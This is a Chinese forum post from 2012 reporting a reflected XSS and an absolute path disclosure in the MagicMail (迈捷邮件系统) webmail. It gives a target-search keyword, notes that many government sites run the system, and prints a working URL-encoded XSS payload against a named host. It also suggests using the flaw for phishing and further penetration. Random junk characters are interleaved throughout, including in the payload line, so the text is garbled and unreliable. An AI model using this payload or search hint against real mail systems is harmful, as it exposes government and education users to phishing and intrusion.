今天上午在黑盒测试本地的教育网的时候发现的一个邮件系统漏洞" H7 S; v+ O! c0 A/ k* n, W/ V
4 T! d e4 w, G! q ! z2 D# O" m8 i! z' d$ v) Z
包含 一个反射性XSS 以及 绝对路径泄漏3 E+ f; `0 R3 W
看了看 貌似全部是linux的。
6 [. x! @3 ?- z/ \$ i5 j% ^
c% z& m, S# y1 _) h# ]关键字：迈捷邮件系统 by MagicMail
* I- W+ s+ O3 I; A( y; o; d" H/ |) K7 s( i; f. D
可以看到很多政府网站都用这个邮件系统3 M( B2 U6 x. l. S/ F
( Z8 ^) \3 l. N9 J绝对路径 http://madman.in/index.php?login_type=declare&language=; e! W4 d" l& Y4 s
; r3 V, ~* }" `! s: K1 c- a& g. K6 l4 \ k( o
; @6 T. d, k* D; T9 V0 d5 G, tXSS：http://madman.in/index.php?login_type=declare&language=–%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,while%28true%29{alert%281%29}%3E%3C/script%3E$ _) N8 o4 y% O3 h% w* o+ y M
* O5 C2 U" O& B1 s
4 Q3 X& e" b" L0 @1 p" c" E, b) U# q! e6 I/ v6 [' \( V& W9 `7 {
虽然危害不是很大，不过利用起来还是可以的 比如 钓鱼 比如进一步的渗透 等等
M' D, V, n) V* l: [
1 M, R) ^7 g5 U修复方案：看官方补丁吧。, J& H! j2 `4 }" l$ t* ]
|
发表于 2012-11-9 20:38:41
收藏
支持
反对